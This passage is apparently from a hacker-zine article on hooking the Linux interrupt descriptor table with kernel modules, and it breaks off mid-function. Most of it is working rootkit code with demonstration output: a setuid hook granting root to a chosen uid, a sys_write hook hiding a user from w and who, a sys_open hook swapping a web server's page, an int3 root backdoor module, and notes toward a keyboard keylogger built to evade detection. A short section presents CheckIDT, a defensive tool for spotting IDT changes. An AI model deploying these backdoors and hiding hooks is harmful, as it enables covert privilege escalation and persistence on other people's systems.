----[ 3.6 - Hooking for fun
|
|
|
|
A program that could be interesting is an exception tracer. We could for
|
|
example hook all the exceptions to print the name of the process that has
|
|
provoked the exception. We could know all the time who launch what.
|
|
We could also print the values of the registers.
|
|
There is a function show_regs that is in arch/i386/kernel/process.c :
|
|
|
|
void show_regs(struct pt_regs * regs)
|
|
{
|
|
long cr0 = 0L, cr2 = 0L, cr3 = 0L;
|
|
|
|
printk("\n");
|
|
printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip);
|
|
if (regs->xcs & 3)
|
|
printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
|
|
printk(" EFLAGS: %08lx\n",regs->eflags);
|
|
printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
|
|
regs->eax,regs->ebx,regs->ecx,regs->edx);
|
|
printk("ESI: %08lx EDI: %08lx EBP: %08lx",
|
|
regs->esi, regs->edi, regs->ebp);
|
|
printk(" DS: %04x ES: %04x\n",
|
|
0xffff & regs->xds,0xffff & regs->xes);
|
|
__asm__("movl %%cr0, %0": "=r" (cr0));
|
|
__asm__("movl %%cr2, %0": "=r" (cr2));
|
|
__asm__("movl %%cr3, %0": "=r" (cr3));
|
|
printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);
|
|
}
|
|
|
|
You can use this code to print the state of the registers at every
|
|
exception.
|
|
|
|
Something more dangerous would be to change the asm handler so that it
|
|
would not execute the true C handler. The process that has generated the
|
|
exception would not receive such signals as SIGSTOP or SIGSEGV. This would
|
|
be very useful in some situations.
|
|
|
|
|
|
--[ 4 - THE HARDWARE INTERRUPTS
|
|
|
|
----[ 4.1 - How does it works ?
|
|
|
|
We can also hook interrupts generated by IRQs with the same method but
|
|
they are less interesting to hook (unless you have a great idea ;). We are
|
|
going to hook interrupt 33 which is keyboard's. The problem is that this
|
|
interrupt happens a lot more. The handler will be executed a large number
|
|
of times and will have to go very fast to not block the system. To avoid
|
|
this, we are going to use bottom half. There are functions of low priority
|
|
which are used for interrupt handling in most cases . The kernel is waiting
|
|
for the adequate time to launch it, and other interruptions are not masked
|
|
during its execution
|
|
|
|
The waiting bottom half will be executed only at the following:
|
|
|
|
- the kernel finishes to handle a syscall
|
|
- the kernel finishes to handle a exception
|
|
- the kernel finishes to handle a interrupt
|
|
- the kernel uses the schedule() function in order to select a new
|
|
process
|
|
|
|
But they will be executed before the processor goes back in user mode.
|
|
|
|
So the bottom half are useful to ensure the quick handle of an
|
|
interruption.
|
|
|
|
Here are some examples of linux used bottom halves
|
|
|
|
----------------+-------------------------------+
|
|
Bottom half | Peripheral equipment |
|
|
----------------+-------------------------------+
|
|
CONSOLE_BH | Virtual console |
|
|
IMMEDIATE_BH | Immediate tasks file |
|
|
KEYBOARD_BH | Keyboard |
|
|
NET_BH | Network interface |
|
|
SCSI_BH | SCSI interface |
|
|
TIMER_BH | Clock |
|
|
TQUEUE_BH | Periodic tasks queue |
|
|
... | |
|
|
----------------+-------------------------------+
|
|
|
|
|
|
My goal writing this paper is not to study the bottom halves, as it's a
|
|
too wide topic. Anyway, for more informations about that topic, you can
|
|
have a look at
|
|
|
|
http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]
|
|
|
|
IRQ list
|
|
--------
|
|
|
|
BEWARE ! : the number of the interrupts are not always the same for the
|
|
IRQs!
|
|
|
|
----+---------------+----------------------------------------
|
|
IRQ | Interrupt | Peripheral equipment
|
|
----+---------------+----------------------------------------
|
|
0 | 32 | Timer
|
|
1 | 33 | Keyboard
|
|
2 | 34 | PIC cascade
|
|
3 | 35 | Second serial port
|
|
4 | 36 | First serial port
|
|
6 | 37 | Floppy drive
|
|
8 | 40 | System clock
|
|
11 | 43 | Network interface
|
|
12 | 44 | PS/2 mouse
|
|
13 | 45 | Mathematic coprocessor
|
|
14 | 46 | First EIDE disk controller
|
|
15 | 47 | Second EIDE disk controller
|
|
----+---------------+----------------------------------------
|
|
|
|
|
|
----[ 4.2 - Initialization and activation of a bottom half
|
|
|
|
The low parts must be initialized with the function init_bh(n,routine)
|
|
that insert the address routine in the n-th entry of bh_base (bh_base is an
|
|
array where low parts are kept). When it is initialized, it can be
|
|
activated and executed. The function mark_bh(n) is used by the interrupt
|
|
handler to activate the n-th low part.
|
|
|
|
The tasklets are the functions themselves. There are put together in list
|
|
of elements of type tq_struct :
|
|
|
|
struct tq_struct {
|
|
struct tq_struct *next; /* linked list of active bh's */
|
|
unsigned long sync; /* must be initialized to zero */
|
|
void (*routine)(void *); /* function to call */
|
|
void *data; /* argument to function */
|
|
};
|
|
|
|
The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a
|
|
tasklet that will then be inserted in the task queue thanks to the function
|
|
queue_task. There is several task queues, the most interesting here is
|
|
tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate
|
|
task queue).
|
|
|
|
(include/linux/tqueue.h)
|
|
|
|
|
|
----[ 4.3 - Hooking of the keyboard interrupt
|
|
|
|
When we hit a key, the interrupt happens twice. Once when we push the
|
|
key and once when we release the key. The code below will display a message
|
|
every 10 interrupts. If we hit 5 keys, the message appears.
|
|
|
|
I don't show the asm handler which is the same as in 3.4
|
|
|
|
Code
|
|
----
|
|
...
|
|
struct Variable
|
|
{
|
|
int entier;
|
|
char chaine[10];
|
|
};
|
|
...
|
|
static void evil_fonction(void * status)
|
|
{
|
|
struct Variable *var = (struct Variable * )status;
|
|
nb++;
|
|
if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
|
|
nb,var->entier,var->chaine);
|
|
}
|
|
...
|
|
asmlinkage void my_function()
|
|
{
|
|
static struct Variable variable;
|
|
static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
|
|
variable.entier=3;
|
|
strcpy(variable.chaine,"haha hijacked key :) ");
|
|
queue_task(&my_task,&tq_immediate);
|
|
mark_bh(IMMEDIATE_BH);
|
|
}
|
|
|
|
|
|
We declare a tasklet my_task. We initialize it with our function and
|
|
the argument. As the tasklet allow us to take only one argument, we give
|
|
the address of a structure. This will allow to use several arguments. We
|
|
add the tasklet to the list tq_immediate thanks to queue_task. Finally, we
|
|
activate the low part IMMEDIATE_BH thanks to mark_bh:
|
|
|
|
mark_bh(IMMEDIATE_BH)
|
|
|
|
We have to activate IMMEDIATE_BH, which handles the tasks queue
|
|
'tq_immediate' (the one where we added our own tasklet) evil_function is to
|
|
be executed just after one of the requested event (listed in part 4.1)
|
|
|
|
evil_function is just going to display a message each time that the
|
|
interrupt happened 10 times. We effectively hooked the keyboard interrupt.
|
|
We could use this method to code a keylogger. This one would be the most
|
|
quiet because it would act at interrupts level. The issue, that I didn't
|
|
solve, is to know which key has been hit. To do this, we can use the
|
|
function inb() that can read on a I/O port. There are 65536 I/O ports
|
|
(8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports
|
|
make a 32 bits ports. The functions that allow us to access ports are:
|
|
|
|
inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
|
|
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.
|
|
|
|
|
|
So we can read the scancode of the keyboard thanks to the function inb,
|
|
and its status (pushed, released). Unfortunately, I'm not sure of the port
|
|
to read. The port for the scancode is 0x60 and the port for the status is
|
|
0x64.
|
|
|
|
scancode=inb(0x60);
|
|
status=inb(0x64);
|
|
|
|
|
|
scancode is going to be equal to a value that will have to be
|
|
transformed to know which key has been hit. This is realized with an array
|
|
of value. It may exist a function that give directly the conversion, but
|
|
I'm not sure. If anyone has information about it or wish to develop the
|
|
topic, he can contact me.
|
|
|
|
|
|
--[ 5 - THE EXCEPTION PROGRAMMED FOR THE SYSTEM CALL
|
|
|
|
----[ 5.1 - List of the syscalls
|
|
|
|
You can find a list of all the syscalls at the url :
|
|
http://www.lxhp.in-berlin.de/lhpsysc0.html [3].
|
|
All syscalls are listed and the value to put in the registers are given.
|
|
|
|
Rem : be ware, the numbers of the syscalls are not the same in 2.2.*
|
|
and 2.4.* kernels.
|
|
|
|
|
|
----[ 5.2 - How does a syscall work ?
|
|
|
|
Thanks to the technique that we have just used here, we can also hook
|
|
the syscalls. When a syscall is called, all the parameters of the syscall
|
|
are in the registers.
|
|
|
|
eax : number of the called syscall
|
|
ebx : first param
|
|
ecx : second param
|
|
edx : third param
|
|
esi : fourth param
|
|
edi : fifth param
|
|
|
|
The maximum number of arguments can't exceed 5. However, some syscalls
|
|
need more than 5 arguments. It is the case for the syscall mmap (6 params).
|
|
In such a case, a single register is used to point to a memory area to the
|
|
addressing space of the process in user mode that contains the values of
|
|
the parameters.
|
|
|
|
We can get these values thanks to the structure pt_regs that we've seen
|
|
before. We are going to hook syscalls at the IDT level and not in the
|
|
syscall_table. kstat and all currently available LKM detection tools will
|
|
fail in detecting our voodoo. I won't show you all what can be done by
|
|
hooking the syscalls, the technique used by pragmatic or so in their LKMs
|
|
are applicable here. I will show you how to hook some syscalls, you will
|
|
be able to hook those you want using the same technique.
|
|
|
|
|
|
----[ 5.3 - Hooking for profit
|
|
|
|
------[ 5.3.1 - Hooking of sys_setuid
|
|
|
|
SYS_SETUID:
|
|
-----------
|
|
|
|
EAX: 213
|
|
EBX: uid
|
|
|
|
We are going to begin with a simple case, a backdoor that change the rights
|
|
of a process into root. The same backdoor as in 3.5 but we are going to
|
|
hook the syscall setuid.
|
|
|
|
asm handler :
|
|
--------------
|
|
...
|
|
#define sys_number 213
|
|
...
|
|
void stub_kad(void)
|
|
{
|
|
__asm__ (
|
|
".globl my_stub \n"
|
|
".align 4,0x90 \n"
|
|
"my_stub: \n"
|
|
//save the register value
|
|
" pushl %%ds \n"
|
|
" pushl %%eax \n"
|
|
" pushl %%ebp \n"
|
|
" pushl %%edi \n"
|
|
" pushl %%esi \n"
|
|
" pushl %%edx \n"
|
|
" pushl %%ecx \n"
|
|
" pushl %%ebx \n"
|
|
//compare if it's the good syscall
|
|
" xor %%ebx,%%ebx \n"
|
|
" movl %2,%%ebx \n"
|
|
" cmpl %%eax,%%ebx \n"
|
|
" jne finis \n"
|
|
//if it's the good syscall,
|
|
//put top stack address on stack :)
|
|
" mov %%esp,%%edx \n"
|
|
" mov %%esp,%%eax \n"
|
|
" andl $-8192,%%eax \n"
|
|
" pushl %%eax \n"
|
|
" push %%edx \n"
|
|
" call *%0 \n"
|
|
" addl $8,%%esp \n"
|
|
"finis: \n"
|
|
//restore register
|
|
" popl %%ebx \n"
|
|
" popl %%ecx \n"
|
|
" popl %%edx \n"
|
|
" popl %%esi \n"
|
|
" popl %%edi \n"
|
|
" popl %%ebp \n"
|
|
" popl %%eax \n"
|
|
" popl %%ds \n"
|
|
" jmp *%1 \n"
|
|
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
|
|
);
|
|
}
|
|
|
|
|
|
- we save the values of all the registers on the stack
|
|
- we compare eax that contains the number of the syscall with the value
|
|
of sys_number that we have defined above.
|
|
- if it is the good syscall, we put on the stack the value of esp from
|
|
which have saved all the registers (that will be used for pt_regs) and
|
|
the current process descriptor.
|
|
- we call our C handler, then at the return, we pop 8 bytes (eax + edx).
|
|
- finis : we put back the value of our registers and we call the true
|
|
handler.
|
|
|
|
By changing the value of sys_number, we can hook any syscall with this asm
|
|
handler.
|
|
|
|
|
|
C handler
|
|
----------
|
|
|
|
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
|
|
{
|
|
struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
|
|
if (regs->ebx == 12345 )
|
|
{
|
|
my_task->uid=0;
|
|
my_task->gid=0;
|
|
my_task->suid=1000;
|
|
}
|
|
}
|
|
|
|
We get the value of the registers in a pt_regs structure and the address
|
|
of the current fd. We compare the value of ebx with 12345, if it is equal
|
|
then we set the uid and the gid of the current process to 0.
|
|
|
|
|
|
In practice :
|
|
--------------
|
|
|
|
bash-2.05$ cat setuid.c
|
|
#include <stdio.h>
|
|
int main (int argc,char ** argv)
|
|
{
|
|
setuid(12345);
|
|
system("/bin/sh");
|
|
return 0;
|
|
}
|
|
bash-2.05$ gcc -o setuid setuid.c
|
|
bash-2.05$ ./setuid
|
|
sh-2.05# id
|
|
uid=0(root) gid=0(root) groups=100(users)
|
|
sh-2.05#
|
|
|
|
|
|
We are root. This technique can be used with many syscalls.
|
|
|
|
|
|
------[ 5.3.2 - Hooking of sys_write
|
|
|
|
SYS_WRITE:
|
|
----------
|
|
|
|
EAX: 4
|
|
EBX: file descriptor
|
|
ECX: ptr to output buffer
|
|
EDX: count of bytes to send
|
|
|
|
We are going to hook sys_write so that it will replace a string in a
|
|
defined program. Then, we will hook sys_write so that it will replace
|
|
in the whole system.
|
|
|
|
The asm handler in the same as in 5.3.1
|
|
|
|
|
|
C handler
|
|
----------
|
|
|
|
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
|
|
{
|
|
struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
|
|
char *ptr=(char *) regs->ecx;
|
|
char * buffer,*ptr3;
|
|
|
|
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
|
|
strcmp(my_task->comm,"lastlog")==0 ||
|
|
((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
|
|
{
|
|
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
|
|
copy_from_user(buffer,ptr,regs->edx);
|
|
if(hide_string)
|
|
{
|
|
ptr3=strstr(buffer,hide_string);
|
|
}
|
|
else
|
|
{
|
|
ptr3=strstr(buffer,HIDE_STRING);
|
|
}
|
|
if(ptr3 != NULL )
|
|
{
|
|
if (false_string)
|
|
{
|
|
strncpy(ptr3,false_string,strlen(false_string));
|
|
}
|
|
else
|
|
{
|
|
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
|
|
}
|
|
copy_to_user(ptr,buffer,regs->edx);
|
|
}
|
|
kfree(buffer);
|
|
}
|
|
}
|
|
|
|
- We compare the name of the process with a defined program name and with
|
|
the name that we will specify in param when we insert our module
|
|
(progy param).
|
|
- We allocate some space for the buffer that will receive the string that
|
|
is in regs->ecx
|
|
- We copy the string that sys_write is going to write from the userland to
|
|
the kernelland (copy_from_user)
|
|
- We search for the string we want to hide in the string that sys_write is
|
|
going to write.
|
|
- If found,we change the string to be hidden with the one wanted in
|
|
our buffer.
|
|
- we copy the false string in the userland (copy_to_user)
|
|
|
|
|
|
In practice :
|
|
--------------
|
|
|
|
%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
|
|
%w
|
|
12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48
|
|
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
|
kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx
|
|
kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid
|
|
%modinfo hookstub-V0.5.2.o
|
|
filename: hookstub-V0.5.2.o
|
|
description: "Hooking of sys_write"
|
|
author: "kad"
|
|
parm: interrupt int, description "Interrupt number"
|
|
parm: hide_string string, description "String to hide"
|
|
parm: false_string string, description "The fake string"
|
|
parm: progy string, description "You can add another program to fake"
|
|
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel
|
|
progy=ps
|
|
Inserting hook
|
|
Hooking finish
|
|
|
|
%w
|
|
12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48
|
|
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
|
marcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usr
|
|
marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid
|
|
|
|
%ps -au
|
|
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
|
|
marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bash
|
|
root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -su
|
|
root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -sh
|
|
root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au
|
|
%
|
|
|
|
The string "kad" is hidden. The whole source code is in annexe CODE 3.
|
|
This example is quite simple but could be more interesting. Instead of
|
|
changing "kad" with "marcel", we could change our IP address with
|
|
another. And, instead of hooking the output of w, who or lastlog, we could
|
|
use klogd...
|
|
|
|
|
|
Complete hooking of sys_write
|
|
------------------------------
|
|
|
|
The complete hooking of sys_write can be useful in some case, like for example
|
|
changing an IP with another. But if you change a string completely,
|
|
you won't be hidden long. If you change a string with another, it's the whole
|
|
system that will be changed. Even a simple cat will be influenced :
|
|
|
|
%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! "
|
|
Inserting hook
|
|
Hooking finish
|
|
%echo hello!
|
|
bye!
|
|
%
|
|
|
|
|
|
The C handler for this example is the same as the previous one without the
|
|
if condition. Beware, this could slow down your system a lot.
|
|
|
|
|
|
----[ 5.4 - Hooking for fun
|
|
|
|
This example is only "for fun" :), don't misuse it. You could turn an admin
|
|
mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook
|
|
the syscall sys_open so that it opens another file instead of a defined file,
|
|
but only if it is a defined "entity" that opens the file. This entity will be
|
|
httpd here...
|
|
|
|
SYS_OPEN:
|
|
---------
|
|
|
|
EAX : 5
|
|
EBX : ptr to pathname
|
|
ECX : file access
|
|
EDX : file permissions
|
|
|
|
The asm handler is always the same as the previous ones.
|
|
|
|
C handler :
|
|
------------
|
|
|
|
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
|
|
{
|
|
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
|
|
if(strcmp(my_task->comm,"httpd") == 0)
|
|
{
|
|
if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)
|
|
{
|
|
copy_to_user((char *)regs->ebx,"/tmp/hacked",
|
|
strlen((char *) regs->ebx));
|
|
}
|
|
}
|
|
}
|
|
|
|
We hook sys_open, if httpd call sys_open and tries to open index.html,
|
|
then we change index.html with another page we've chosen. We can also use
|
|
MODULE_PARM to more easily change the page. If someone opens the file with
|
|
a classic editor, he will see the true index.html!
|
|
|
|
Hooking a syscall is very easy with this technique. Moreover, few
|
|
modifications are to be done for hooking this or that syscall. The only
|
|
thing to change is the C handler. We could however play with the asm
|
|
handler, for example to invert 2 syscalls. We would only have to compare
|
|
the value of eax and to change it with the number of a defined syscall.
|
|
For an admin, we could hook the "hot" syscalls and warn with a message as
|
|
soon as the syscall is called. We would be warned of the modifications on
|
|
the syscall_table.
|
|
|
|
|
|
--[ 6 - CHECKIDT
|
|
|
|
CheckIDT is a little program that I have written that allow to "play"
|
|
with the IDT from the userland. i.e. without using a lkm, thanks to the
|
|
technique of sd and devik in Phrack 58 on /dev/kmem. All along my tests,
|
|
I had to face many kernel crashes and it was not dead but I couldn't
|
|
remove the lkm. I had to reboot to change the value of the IDT. CheckIDT
|
|
allow to change the value of the IDT without the use of a lkm. CheckIDT is
|
|
here to help you coding your lkms and prevent you from rebooting all the
|
|
time. On the other hand, this software can warn you of modifications of the
|
|
IDT and so be useful for admins. It can restore the IDT state in tripwire
|
|
style. It saves each descriptor of the IDT in a file, then it compares the
|
|
descriptors with the saved values and put the IDT back if there were
|
|
modifications.
|
|
|
|
|
|
Some examples of use :
|
|
-----------------------
|
|
|
|
%./checkidt
|
|
CheckIDT V 1.1 by kad
|
|
---------------------
|
|
Option :
|
|
-a nb show all info about one interrupt
|
|
-A show all info about all interrupt
|
|
-I show IDT address
|
|
-c create file archive
|
|
-r read file archive
|
|
-o file output filename (for creating file archive)
|
|
-C compare save idt & new idt
|
|
-R restore IDT
|
|
-i file input filename to compare or read
|
|
-s resolve symbol thanks to /boot/System.map
|
|
-S file specify a map file
|
|
|
|
|
|
%./checkidt -a 3 -s
|
|
|
|
Int *** Stub Address *** Segment *** DPL *** Type Handler Name
|
|
--------------------------------------------------------------------------
|
|
3 0xc0109370 KERNEL_CS 3 System gate int3
|
|
|
|
|
|
Thanks for choose kad's products :-)
|
|
%
|
|
|
|
We can obtain information on an interrupt descriptor.
|
|
"-A" allow to obtain information on all interrupts.
|
|
|
|
|
|
%./checkidt -c
|
|
|
|
Creating file archive idt done
|
|
|
|
Thanks for choosing kad's products :-)
|
|
%insmod hookstub-V0.3.2.o interrupt=3
|
|
Inserting hook
|
|
Hooking finished
|
|
%./checkidt -C
|
|
|
|
Hey stub address of interrupt 3 has changed!!!
|
|
Old Value : 0xc0109370
|
|
New Value : 0xc583e064
|
|
|
|
Thanks for choosing kad's products :-)
|
|
%./checkidt -R
|
|
|
|
Restore old stub address of interrupt 3
|
|
|
|
Thanks for choosing kad's products :-)
|
|
%./checkidt -C
|
|
|
|
All values are same
|
|
|
|
Thanks for choosing kad's products :-)
|
|
%lsmod
|
|
Module Size Used by
|
|
hookstub-V0.3.2 928 0 (unused)
|
|
...
|
|
%
|
|
|
|
So CheckIDT has restored the values of the IDT as they were before
|
|
inserting the module. However, the module is still here but has no effect.
|
|
As in tripwire, I advice you to put the IDT save file in a read only area,
|
|
otherwise someone could be compromised.
|
|
|
|
rem : if the module is well hidden, you will also be warned of the modifications
|
|
of IDT.
|
|
|
|
The whole source code is in annexe CODE 4.
|
|
|
|
|
|
--[ 7 - REFERENCES
|
|
|
|
[1] http://www.linuxassembly.org/resources.html#tutorials
|
|
Many docs on asm inline
|
|
|
|
[2] http://www.xml.com/ldd/chapter/book/
|
|
linux device drivers
|
|
|
|
[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
|
|
detailed syscalls list
|
|
|
|
[4] http://eccentrica.org/Mammon/
|
|
Mammon site, thanks mammon ;)
|
|
|
|
[5] http://www.oreilly.com/catalog/linuxkernel/
|
|
o'reilly book , great book :)
|
|
|
|
[6] http://www.tldp.org/LDP/lki/index.html
|
|
Linux Kernel 2.4 Internals
|
|
|
|
[7] Sources of 2.2.19 and 2.4.17 kernel
|
|
|
|
[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
|
|
good info about how bottom half work
|
|
|
|
[9] http://www.s0ftpj.org/en/tools.html
|
|
kstat
|
|
|
|
GREETZ
|
|
|
|
- Special greetz to freya, django and neuro for helping me to translate
|
|
this text in English. Greetz again to skyper for his advice, thks a lot
|
|
man! :)
|
|
- Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !)
|
|
- Big greetz to mayhem, insulted, ptah and sauron for testing the codes
|
|
and verifying the text.
|
|
- Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, all
|
|
those who were at the RtC.Party, nywass, the polos :) and all those I
|
|
forget.
|
|
|
|
|
|
--[ 8 - Appendix
|
|
|
|
|
|
CODE 1:
|
|
-------
|
|
|
|
/*****************************************/
|
|
/* hooking interrupt 3 . Idea by mammon */
|
|
/* with kad modification */
|
|
/*****************************************/
|
|
|
|
#define MODULE
|
|
#define __KERNEL__
|
|
|
|
#include <linux/module.h>
|
|
#include <linux/tty.h>
|
|
#include <linux/sched.h>
|
|
#include <linux/init.h>
|
|
#include <linux/malloc.h>
|
|
|
|
#define error_code 0xc01092d0 //error code in my system.map
|
|
#define do_int3 0xc010977c //do_int3 in my system.map
|
|
|
|
asmlinkage void my_handler(struct pt_regs * regs,long err_code);
|
|
|
|
/*------------------------------------------*/
|
|
unsigned long ptr_idt_table;
|
|
unsigned long ptr_gdt_table;
|
|
unsigned long old_stub;
|
|
unsigned long old_handler=do_int3;
|
|
extern asmlinkage void my_stub();
|
|
unsigned long ptr_error_code=error_code;
|
|
unsigned long ptr_handler=(unsigned long)&my_handler;
|
|
/*------------------------------------------*/
|
|
|
|
struct descriptor_idt
|
|
{
|
|
unsigned short offset_low,seg_selector;
|
|
unsigned char reserved,flag;
|
|
unsigned short offset_high;
|
|
};
|
|
|
|
void stub_kad(void)
|
|
{
|
|
__asm__ (
|
|
".globl my_stub \n"
|
|
".align 4,0x90 \n"
|
|
"my_stub: \n"
|
|
"pushl $0 \n"
|
|
"pushl ptr_handler(,1) \n"
|
|
"jmp *ptr_error_code "
|
|
::
|
|
);
|
|
}
|
|
|
|
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
|
|
{
|
|
void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
|
|
printk("<1>Wowowo hijacking de l'int 3 \n");
|
|
(*old_int_handler)(regs,err_code);
|
|
return;
|
|
}
|
|
|
|
unsigned long get_addr_idt (void)
|
|
{
|
|
unsigned char idtr[6];
|
|
unsigned long idt;
|
|
__asm__ volatile ("sidt %0": "=m" (idtr));
|
|
idt = *((unsigned long *) &idtr[2]);
|
|
return(idt);
|
|
}
|
|
|
|
void * get_stub_from_idt (int n)
|
|
{
|
|
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
|
|
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
|
|
}
|
|
|
|
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
|
|
{
|
|
unsigned long new_addr=(unsigned long)new_stub;
|
|
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
|
|
//save old stub
|
|
if(old_stub)
|
|
*old_stub=(unsigned long)get_stub_from_idt(3);
|
|
//assign new stub
|
|
idt[n].offset_high = (unsigned short) (new_addr >> 16);
|
|
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
|
|
return;
|
|
}
|
|
|
|
int init_module(void)
|
|
{
|
|
ptr_idt_table=get_addr_idt();
|
|
hook_stub(3,&my_stub,&old_stub);
|
|
return 0;
|
|
}
|
|
|
|
void cleanup_module()
|
|
{
|
|
hook_stub(3,(char *)old_stub,NULL);
|
|
}
|
|
|
|
******************************************************************************
|
|
|
|
CODE 2:
|
|
-------
|
|
|
|
/****************************************************/
|
|
/* IDT int3 backdoor. Give root right to the process
|
|
/* Coded by kad
|
|
/****************************************************/
|
|
|
|
#define MODULE
|
|
#define __KERNEL__
|
|
#include <linux/module.h>
|
|
#include <linux/tty.h>
|
|
#include <linux/sched.h>
|
|
#include <linux/init.h>
|
|
#ifndef KERNEL2
|
|
#include <linux/slab.h>
|
|
#else
|
|
#include <linux/malloc.h>
|
|
#endif
|
|
|
|
/*------------------------------------------*/
|
|
asmlinkage void my_function(unsigned long);
|
|
/*------------------------------------------*/
|
|
MODULE_AUTHOR("Kad");
|
|
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
|
|
MODULE_PARM(interrupt,"i");
|
|
MODULE_PARM_DESC(interrupt,"Interrupt number");
|
|
/*------------------------------------------*/
|
|
unsigned long ptr_idt_table;
|
|
unsigned long old_stub;
|
|
extern asmlinkage void my_stub();
|
|
unsigned long hostile_code=(unsigned long)&my_function;
|
|
int interrupt;
|
|
/*------------------------------------------*/
|
|
|
|
struct descriptor_idt
|
|
{
|
|
unsigned short offset_low,seg_selector;
|
|
unsigned char reserved,flag;
|
|
unsigned short offset_high;
|
|
};
|
|
|
|
void stub_kad(void)
|
|
{
|
|
__asm__ (
|
|
".globl my_stub \n"
|
|
".align 4,0x90 \n"
|
|
"my_stub: \n"
|
|
" pushl %%ebx \n"
|
|
" movl %%esp,%%ebx \n"
|
|
" andl $-8192,%%ebx \n"
|
|
" pushl %%ebx \n"
|
|
" call *%0 \n"
|
|
" addl $4,%%esp \n"
|
|
" popl %%ebx \n"
|
|
" jmp *%1 \n"
|
|
::"m"(hostile_code),"m"(old_stub)
|
|
);
|
|
}
|
|
|
|
|
|
asmlinkage void my_function(unsigned long addr_task)
|
|
{
|
|
struct task_struct *p = &((struct task_struct *) addr_task)[0];
|
|
if(strcmp(p->comm,"give_me_root")==0 )
|
|
{
|
|
#ifdef DEBUG
|
|
printk("UID : %i GID : %i SUID : %i\n",p->uid,
|
|
p->gid,p->suid);
|
|
#endif
|
|
p->uid=0;
|
|
p->gid=0;
|
|
#ifdef DEBUG
|
|
printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid);
|
|
#endif
|
|
}
|
|
else
|
|
{
|
|
#ifdef DEBUG
|
|
printk("<1>Interrupt %i hijack \n",interrupt);
|
|
#endif
|
|
}
|
|
}
|
|
|
|
unsigned long get_addr_idt (void)
|
|
{
|
|
unsigned char idtr[6];
|
|
unsigned long idt;
|
|
__asm__ volatile ("sidt %0": "=m" (idtr));
|
|
idt = *((unsigned long *) &idtr[2]);
|
|
return(idt);
|
|
}
|
|
|
|
unsigned short get_size_idt(void)
|
|
{
|
|
unsigned idtr[6];
|
|
unsigned short size;
|
|
__asm__ volatile ("sidt %0": "=m" (idtr));
|
|
size=*((unsigned short *) &idtr[0]);
|
|
return(size);
|
|
}
|
|
|
|
void * get_stub_from_idt (int n)
|
|
{
|
|
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
|
|
return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
|
|
}
|
|
|
|
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
|
|
{
|
|
unsigned long new_addr=(unsigned long)new_stub;
|
|
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
|
|
//save old stub
|
|
if(old_stub)
|
|
*old_stub=(unsigned long)get_stub_from_idt(n);
|
|
#ifdef DEBUG
|
|
printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);
|
|
#endif
|
|
//assign new stub
|
|
idt[n].offset_high = (unsigned short) (new_addr >> 16);
|
|
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
|
|
#ifdef DEBUG
|
|
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
|
|
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
|
|
#endif
|
|
return;
|
|
}
|
|
|
|
int write_console (char *str)
|
|
{
|
|
struct tty_struct *my_tty;
|
|
